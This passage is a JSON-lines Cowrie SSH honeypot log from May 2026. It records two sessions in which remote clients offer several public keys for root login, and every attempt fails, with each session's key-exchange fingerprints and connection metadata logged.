{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.628335Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:58:86:4f:48:fd:b2:3d:f3:ce:ce:2e:21:71:e2:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA39H8ObolUtAHMAdGCUlvjbVBirGRPKN4Kx6OQaqyOHXhB25WqntXEmbKaD2kzv4JqpMrD5OkSyzV/b0KMvdmueXqo0UYmx53BKZuX9+frUeU4cupw66Xb96mWamEWKnTKIjyXhNdaa/gTRBgu0nFurQ4CUjkeKt77uLSuCV8GET/XxfHllEdSfTTDcfLKeAU7df2LPRz4OSsBZCbik+563dW5TyyBSholSeSD+Gt8t6LGngmvnUMpnPrCtvIRj92pvyl8Tqdau8fn6i5+ybLd1pE0IW9OEOX/HZtN6bOWSwOTGaq5ZpaVIpA+IXIte8gym801HsLihv1Znboy5z5BQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:58:86:4f:48:fd:b2:3d:f3:ce:ce:2e:21:71:e2:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.742930Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:58:86:4f:48:fd:b2:3d:f3:ce:ce:2e:21:71:e2:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA39H8ObolUtAHMAdGCUlvjbVBirGRPKN4Kx6OQaqyOHXhB25WqntXEmbKaD2kzv4JqpMrD5OkSyzV/b0KMvdmueXqo0UYmx53BKZuX9+frUeU4cupw66Xb96mWamEWKnTKIjyXhNdaa/gTRBgu0nFurQ4CUjkeKt77uLSuCV8GET/XxfHllEdSfTTDcfLKeAU7df2LPRz4OSsBZCbik+563dW5TyyBSholSeSD+Gt8t6LGngmvnUMpnPrCtvIRj92pvyl8Tqdau8fn6i5+ybLd1pE0IW9OEOX/HZtN6bOWSwOTGaq5ZpaVIpA+IXIte8gym801HsLihv1Znboy5z5BQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.747076Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:d7:02:16:39:7f:29:a9:31:93:6f:02:ec:45:e0:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCs5BR9d6XXcXIP5yIW98JgfbeGKtcoqrirE1n/MhbLuAYp0ATmRVPkkKVZySvaFdEPBKbQ3p/uiv61qKQRRDFjnTX6+4Tu/jJwV2xhdGGm8NABd5BZHIVL1Dguec9FfQ+1jFIPWlfMx0MKvbID3Yr02PSJ3u/lPYzXegZDpM4oFpfKKZR5szbntJ6sfoVuWpP2Z1N/l+OL/G+FWWtUrqAi5lfHpiZWFPWN7LVE/smovLRC+Vdc7tyL+qu1WHYJ4+tS0tx17sY1Kd291TJ3Lww9pS/CtDmOvWtMfxIwF1SaouVCreUveBWPfgwaTK4jJDlrKX45Fgxz+jzk/ipHSE9VuuK5nsYKXtxC8sl63e8CH8VPxptjHVOaWPTM4aZgc5fxbEH88sZOMrRBUsDRXkophwwu67bCUxgphh5y4ybL4Z7ssHG5Jtrtv9EPqthaNPo6K+/VjEE381hyQ/SriAJ7lhFQhdaxjz0LNUn5KnDVWaSITrgqk07vLL4gMaXWCHtunbPK1DjcJ0bw2aFT+tFLxtjqcFECud8Uh8DT7jGSJDEodCTZsi/tYJ1XnrjNlDMd3kNqgvYAyElLHPzo3ilCkNUkE/9jiVHQgBfIUNvXFuAEb8GnFLqX3Knb70vXpFBMn5xj8U/rmYEd+T1R2VyBg+6YAUn5VvOxW+t1OVdyjQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:d7:02:16:39:7f:29:a9:31:93:6f:02:ec:45:e0:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.777950Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:d7:02:16:39:7f:29:a9:31:93:6f:02:ec:45:e0:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCs5BR9d6XXcXIP5yIW98JgfbeGKtcoqrirE1n/MhbLuAYp0ATmRVPkkKVZySvaFdEPBKbQ3p/uiv61qKQRRDFjnTX6+4Tu/jJwV2xhdGGm8NABd5BZHIVL1Dguec9FfQ+1jFIPWlfMx0MKvbID3Yr02PSJ3u/lPYzXegZDpM4oFpfKKZR5szbntJ6sfoVuWpP2Z1N/l+OL/G+FWWtUrqAi5lfHpiZWFPWN7LVE/smovLRC+Vdc7tyL+qu1WHYJ4+tS0tx17sY1Kd291TJ3Lww9pS/CtDmOvWtMfxIwF1SaouVCreUveBWPfgwaTK4jJDlrKX45Fgxz+jzk/ipHSE9VuuK5nsYKXtxC8sl63e8CH8VPxptjHVOaWPTM4aZgc5fxbEH88sZOMrRBUsDRXkophwwu67bCUxgphh5y4ybL4Z7ssHG5Jtrtv9EPqthaNPo6K+/VjEE381hyQ/SriAJ7lhFQhdaxjz0LNUn5KnDVWaSITrgqk07vLL4gMaXWCHtunbPK1DjcJ0bw2aFT+tFLxtjqcFECud8Uh8DT7jGSJDEodCTZsi/tYJ1XnrjNlDMd3kNqgvYAyElLHPzo3ilCkNUkE/9jiVHQgBfIUNvXFuAEb8GnFLqX3Knb70vXpFBMn5xj8U/rmYEd+T1R2VyBg+6YAUn5VvOxW+t1OVdyjQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.782858Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:9a:84:d0:c5:0b:37:12:ba:1d:d7:af:c7:14:39:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7k8WOkFuDu78rYjiiolCuK+NNOWX+ZFq6g7BakOVCcpG98fgpKJLKMOu/WBGS4rwZB+tjPBTKd9WmGrUuo2tZUBjucl8ykaTvveXQZHxMvfFknhgrwSl/NAbjv7YRW85Pv2a6rTsthGs4valnZRBt+9dDBwwkLKAbEJ0CPViC7NuP21rwhMIkoO6fSODslnNsUN07vbpbdS+Ir/74NGrf3OgZnea3V3dvqr8HPrRR0iyr0QWzyBMDB0HSh2iTprGduXVrKzAdAuM+ICg48s4Xjhj0qdfAFq7dbsCqKbWB/jHYZhpXGZPflM4TiGYVMAJwaJFm4OB4Y1tRI+34jFhCPCLnvwdXRQWBzTMfFFRNJNuBk86Dm69XesY4E8PA08ylaWq/XkG1L6aHJcf4H2k+xr1zDNTGnvORxDtmTeS9LZAwwJIHE4eNVYzRysZDprNylV89GGUhKiG4VKoJNNQ4hhwvsVgX1sBvzl1j6Uf/TcHEOKZdkTRLEAEyJR8bEL+lHD6eXHPvWxZhAH3v2wxGB9DXST7KOOrCNPY0Hjo88W3egzRPr5hHVhsLpSXNV/Z8/WgJal+bmPqQU2DE+G/gpSHa9eai0tWlrXcYu34b6e8YTxlDLKqXREmpQyXnO7TXtoySNPVb/8qOuvoHQ4FrnozwM/jdStW2KLulEWNDuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:9a:84:d0:c5:0b:37:12:ba:1d:d7:af:c7:14:39:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.813568Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:9a:84:d0:c5:0b:37:12:ba:1d:d7:af:c7:14:39:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7k8WOkFuDu78rYjiiolCuK+NNOWX+ZFq6g7BakOVCcpG98fgpKJLKMOu/WBGS4rwZB+tjPBTKd9WmGrUuo2tZUBjucl8ykaTvveXQZHxMvfFknhgrwSl/NAbjv7YRW85Pv2a6rTsthGs4valnZRBt+9dDBwwkLKAbEJ0CPViC7NuP21rwhMIkoO6fSODslnNsUN07vbpbdS+Ir/74NGrf3OgZnea3V3dvqr8HPrRR0iyr0QWzyBMDB0HSh2iTprGduXVrKzAdAuM+ICg48s4Xjhj0qdfAFq7dbsCqKbWB/jHYZhpXGZPflM4TiGYVMAJwaJFm4OB4Y1tRI+34jFhCPCLnvwdXRQWBzTMfFFRNJNuBk86Dm69XesY4E8PA08ylaWq/XkG1L6aHJcf4H2k+xr1zDNTGnvORxDtmTeS9LZAwwJIHE4eNVYzRysZDprNylV89GGUhKiG4VKoJNNQ4hhwvsVgX1sBvzl1j6Uf/TcHEOKZdkTRLEAEyJR8bEL+lHD6eXHPvWxZhAH3v2wxGB9DXST7KOOrCNPY0Hjo88W3egzRPr5hHVhsLpSXNV/Z8/WgJal+bmPqQU2DE+G/gpSHa9eai0tWlrXcYu34b6e8YTxlDLKqXREmpQyXnO7TXtoySNPVb/8qOuvoHQ4FrnozwM/jdStW2KLulEWNDuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.817934Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:37:15:e5:c9:3e:ad:b5:db:58:23:f9:41:ea:f2:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7P7Vh4n1QgbmJ2y90J2RZdAhT/Yf0tM0huq0gwgTjz9+OtTcH+Vpipmt0PCnS0ktqcU8gZHKgjzVVyTuhk7hmb5mmjMxpwtUcFVugi6ZlsevOkudsQbMRUITPDXlBSsPozisd/UU3KtFzH3OfqfgifvjjMmgar6VdKR5JyqBDWfs3CeclKrPSdZ7DGJsEEAxQqesv6h8xFA4DF/SFjxkDh3tvEt9y4t+vHGxJjbreF5and5GCj6YSeFvd4ewf0HZw2GeSQRpHMhNg6sjGZgEX9iB+FzufaIb5Re4A4timDnoOhHNuuGKdz6mT2qiR8K4ZZV+mz/Sar6SY36USK9KuTYgkdjZ+S0GlqOHjaPyGBRJuLRRnqt5cMtMD0gDfR7hvcZZEioZ0CHtvWSMiI5crKkKmigdC6xCQVuzhBz8uGhXtTtrDqWZUif/l0uoWCHDDxLrzMSVY2+6I0HzZyY+/7c3ad36mTERlWHcrBpEoQNmdLHGthCQkrNH7ClYpgircQDEYUtuOSDkd84NSsIIHMimybHliBVTwiSHKhcOeO8fJCzaYvvl8yMCSEnW3bWSiiambY+2cpiJibXKkvzz6JEmdWIJrHZsLKpjubmWDAxeSg78mpDTwc2URt9fv9Aim5GjrMmw3VoqpDCWjCS9OpnGl2EzpYC1loeRQFF5Hiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:37:15:e5:c9:3e:ad:b5:db:58:23:f9:41:ea:f2:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.854937Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:37:15:e5:c9:3e:ad:b5:db:58:23:f9:41:ea:f2:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7P7Vh4n1QgbmJ2y90J2RZdAhT/Yf0tM0huq0gwgTjz9+OtTcH+Vpipmt0PCnS0ktqcU8gZHKgjzVVyTuhk7hmb5mmjMxpwtUcFVugi6ZlsevOkudsQbMRUITPDXlBSsPozisd/UU3KtFzH3OfqfgifvjjMmgar6VdKR5JyqBDWfs3CeclKrPSdZ7DGJsEEAxQqesv6h8xFA4DF/SFjxkDh3tvEt9y4t+vHGxJjbreF5and5GCj6YSeFvd4ewf0HZw2GeSQRpHMhNg6sjGZgEX9iB+FzufaIb5Re4A4timDnoOhHNuuGKdz6mT2qiR8K4ZZV+mz/Sar6SY36USK9KuTYgkdjZ+S0GlqOHjaPyGBRJuLRRnqt5cMtMD0gDfR7hvcZZEioZ0CHtvWSMiI5crKkKmigdC6xCQVuzhBz8uGhXtTtrDqWZUif/l0uoWCHDDxLrzMSVY2+6I0HzZyY+/7c3ad36mTERlWHcrBpEoQNmdLHGthCQkrNH7ClYpgircQDEYUtuOSDkd84NSsIIHMimybHliBVTwiSHKhcOeO8fJCzaYvvl8yMCSEnW3bWSiiambY+2cpiJibXKkvzz6JEmdWIJrHZsLKpjubmWDAxeSg78mpDTwc2URt9fv9Aim5GjrMmw3VoqpDCWjCS9OpnGl2EzpYC1loeRQFF5Hiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.860342Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:cc:66:c9:99:30:65:9a:bf:2f:70:c2:19:d6:bc:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzxiwaGH/UMurizNlngFnw1yRzLe81Q3diZrHbgHKGnSoHA7xnYjN1JEAT0jXhQsixbTcSs77AoCySRo/zlplKg0zZ5jprEdBg6FUmuqTxswGAAwuDaNUCY5MZaLZjA/vR5oA7V3UbK9oGF+qtNotEGmgbcFEDi7GGNSItiiGBZoF2n4bQco8FJjp3l85MOc1gX338EHE1K8yzJs70BRrM7pP5oQT1rkea+kGXTMEVeVPdcOa9QtZQv/3DURfN7q5B5dg5mJVB7Z6DRJ3C88H62B2m0r8Akh7D7zHSL4vAewAX+DWh/ypIcstbGoEAjHhNHJJEW/YCEorcgEfaQvxp/Or6xnpwUjf+sOP00proo2I3YKqt4iDOROcFdYbYlbIdbtaj0ilz/VJuC+hTq8SB80uQhCUSp3pa8GKGakFNcswotH4xARX5yrMnFjvkh+Qa6/zCbX/rmn884lQCnTCSbymLRinvKWTBu/0IwOB9HsaZkAWJBNzbY3LgcaCY0eNwcVUvjxsOJ3SRn5Eau/jIDTeKtE+Sk412HRWuk6ktogeNc8XmSH60hWh5c8jL22EX731TfccoBdt1QuvjL8hdZOFDsFj/QeEG36J/gWnuZUVC8JJoE9iKR4v/9gkn+GneFfnUR2DJ5OJwZ9AlkwEMeyyn77gavbEaZRLGgrTbaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:cc:66:c9:99:30:65:9a:bf:2f:70:c2:19:d6:bc:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.899293Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:cc:66:c9:99:30:65:9a:bf:2f:70:c2:19:d6:bc:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzxiwaGH/UMurizNlngFnw1yRzLe81Q3diZrHbgHKGnSoHA7xnYjN1JEAT0jXhQsixbTcSs77AoCySRo/zlplKg0zZ5jprEdBg6FUmuqTxswGAAwuDaNUCY5MZaLZjA/vR5oA7V3UbK9oGF+qtNotEGmgbcFEDi7GGNSItiiGBZoF2n4bQco8FJjp3l85MOc1gX338EHE1K8yzJs70BRrM7pP5oQT1rkea+kGXTMEVeVPdcOa9QtZQv/3DURfN7q5B5dg5mJVB7Z6DRJ3C88H62B2m0r8Akh7D7zHSL4vAewAX+DWh/ypIcstbGoEAjHhNHJJEW/YCEorcgEfaQvxp/Or6xnpwUjf+sOP00proo2I3YKqt4iDOROcFdYbYlbIdbtaj0ilz/VJuC+hTq8SB80uQhCUSp3pa8GKGakFNcswotH4xARX5yrMnFjvkh+Qa6/zCbX/rmn884lQCnTCSbymLRinvKWTBu/0IwOB9HsaZkAWJBNzbY3LgcaCY0eNwcVUvjxsOJ3SRn5Eau/jIDTeKtE+Sk412HRWuk6ktogeNc8XmSH60hWh5c8jL22EX731TfccoBdt1QuvjL8hdZOFDsFj/QeEG36J/gWnuZUVC8JJoE9iKR4v/9gkn+GneFfnUR2DJ5OJwZ9AlkwEMeyyn77gavbEaZRLGgrTbaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.903557Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:01.939689Z","src_ip":"5.161.101.51","session":"bd59a9ec8c44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.31.53.170","src_port":53104,"dst_ip":"10.17.0.5","dst_port":22,"session":"41b1ac0eb6b8","protocol":"ssh","message":"New connection: 64.31.53.170:53104 (10.17.0.5:22) [session: 41b1ac0eb6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.426485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.431523Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.441353Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:7b:a1:a2:bf:50:e5:0b:23:5f:5f:de:af:5b:07:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnZKRER/qudtYMpOMxC3ZGA5utlLFBgh0IQvzSEMBk/U1ON8KQHpvvxrDx5aM7/Ssu3YKkIJXDzc3wjQDfgJH8znJQTtsJ8nBL2tbiPs/uG/CVbNSZUOVzwvmGGTgzEmo3eSbF11sSWAtivpji3uSriptNkVcOJj3U0EgD2QmL/gzMEZuQM1nRa1ACrp2iytr9Z8zFBxY+4sKcHgP4P91rBHnpuTZj92EK8fiTQkLPDP11J3xEhwQhmolHgfdQud5X57erIriUZ0GRqP4QHKTtP27QFFu/oMqUJXj9Y2bLIfX3Fofbv9YekD00ldU5lTxF8az92/wzt5yRFrFxGkXN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:7b:a1:a2:bf:50:e5:0b:23:5f:5f:de:af:5b:07:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.458576Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:7b:a1:a2:bf:50:e5:0b:23:5f:5f:de:af:5b:07:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnZKRER/qudtYMpOMxC3ZGA5utlLFBgh0IQvzSEMBk/U1ON8KQHpvvxrDx5aM7/Ssu3YKkIJXDzc3wjQDfgJH8znJQTtsJ8nBL2tbiPs/uG/CVbNSZUOVzwvmGGTgzEmo3eSbF11sSWAtivpji3uSriptNkVcOJj3U0EgD2QmL/gzMEZuQM1nRa1ACrp2iytr9Z8zFBxY+4sKcHgP4P91rBHnpuTZj92EK8fiTQkLPDP11J3xEhwQhmolHgfdQud5X57erIriUZ0GRqP4QHKTtP27QFFu/oMqUJXj9Y2bLIfX3Fofbv9YekD00ldU5lTxF8az92/wzt5yRFrFxGkXN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.462409Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:7b:f8:7a:ca:26:9c:38:4a:ab:dd:6d:08:a8:14:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdeDNHOcinTvLFk8aPkDlnSU9x0JJqp7N2kCAqpWtX/xvEi+IdnDgydl7WHH4ju4Uh3Dijj2RC+spSNr5i0C5U01X969GBPfOpSP0uuo0o0fsF3tYHpUiD3xEfRqMFP8etpj4UnWT9Vqf/b4hUNqnfx9K7O2CCCDL+oVj5OLcIRN85uAoejSyOEIC8N6QPtok5CVxV3XhMVwOXwZBvfsoGoqJ0tH2bQHAe/ohz6xXB0S2SF/hxYq9jYH4iZwXIlSIc9SzJg/j6oXpIBamxJ09KvFxSR65Kg66tVxXqKJpczEyEePds3gKSbwqqli5dBcAPh0wh4sVAq9HfbpJL8eGKUVGrih7kSpREzvDwz9nWLahwZGeYov22QVSMJZnD5+p81+fhb1vwNMoqL/2zQET0y8Ud/HzG4DVqrOnf8WZigsxQp5BEwvbumEpiy08aBJwDeEXeqdpMylzHd75+ItvAiwehAicbOtkUBaI2Y3muUfnEKWHWx7qKd/K7wlLL71QtZqMtqvWr4DwwxvQr5acYPmnzM+bMwzu8p+1x/cAMyKTfQSiNG8IFV1n7QeFzbxZDGdSQFKiZGWpYF6guKl+h92CxqyvgwxFP+0uiGk8urof7SW80aDywbdGF0aRW+2SfK7hZ+EI8NY9TJnfVOhm1FPRYcfJMEb7JKy1fn9eL0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:7b:f8:7a:ca:26:9c:38:4a:ab:dd:6d:08:a8:14:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.470418Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:7b:f8:7a:ca:26:9c:38:4a:ab:dd:6d:08:a8:14:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdeDNHOcinTvLFk8aPkDlnSU9x0JJqp7N2kCAqpWtX/xvEi+IdnDgydl7WHH4ju4Uh3Dijj2RC+spSNr5i0C5U01X969GBPfOpSP0uuo0o0fsF3tYHpUiD3xEfRqMFP8etpj4UnWT9Vqf/b4hUNqnfx9K7O2CCCDL+oVj5OLcIRN85uAoejSyOEIC8N6QPtok5CVxV3XhMVwOXwZBvfsoGoqJ0tH2bQHAe/ohz6xXB0S2SF/hxYq9jYH4iZwXIlSIc9SzJg/j6oXpIBamxJ09KvFxSR65Kg66tVxXqKJpczEyEePds3gKSbwqqli5dBcAPh0wh4sVAq9HfbpJL8eGKUVGrih7kSpREzvDwz9nWLahwZGeYov22QVSMJZnD5+p81+fhb1vwNMoqL/2zQET0y8Ud/HzG4DVqrOnf8WZigsxQp5BEwvbumEpiy08aBJwDeEXeqdpMylzHd75+ItvAiwehAicbOtkUBaI2Y3muUfnEKWHWx7qKd/K7wlLL71QtZqMtqvWr4DwwxvQr5acYPmnzM+bMwzu8p+1x/cAMyKTfQSiNG8IFV1n7QeFzbxZDGdSQFKiZGWpYF6guKl+h92CxqyvgwxFP+0uiGk8urof7SW80aDywbdGF0aRW+2SfK7hZ+EI8NY9TJnfVOhm1FPRYcfJMEb7JKy1fn9eL0w==","type":"ssh-rsa","message":"public key login attempt for [root] 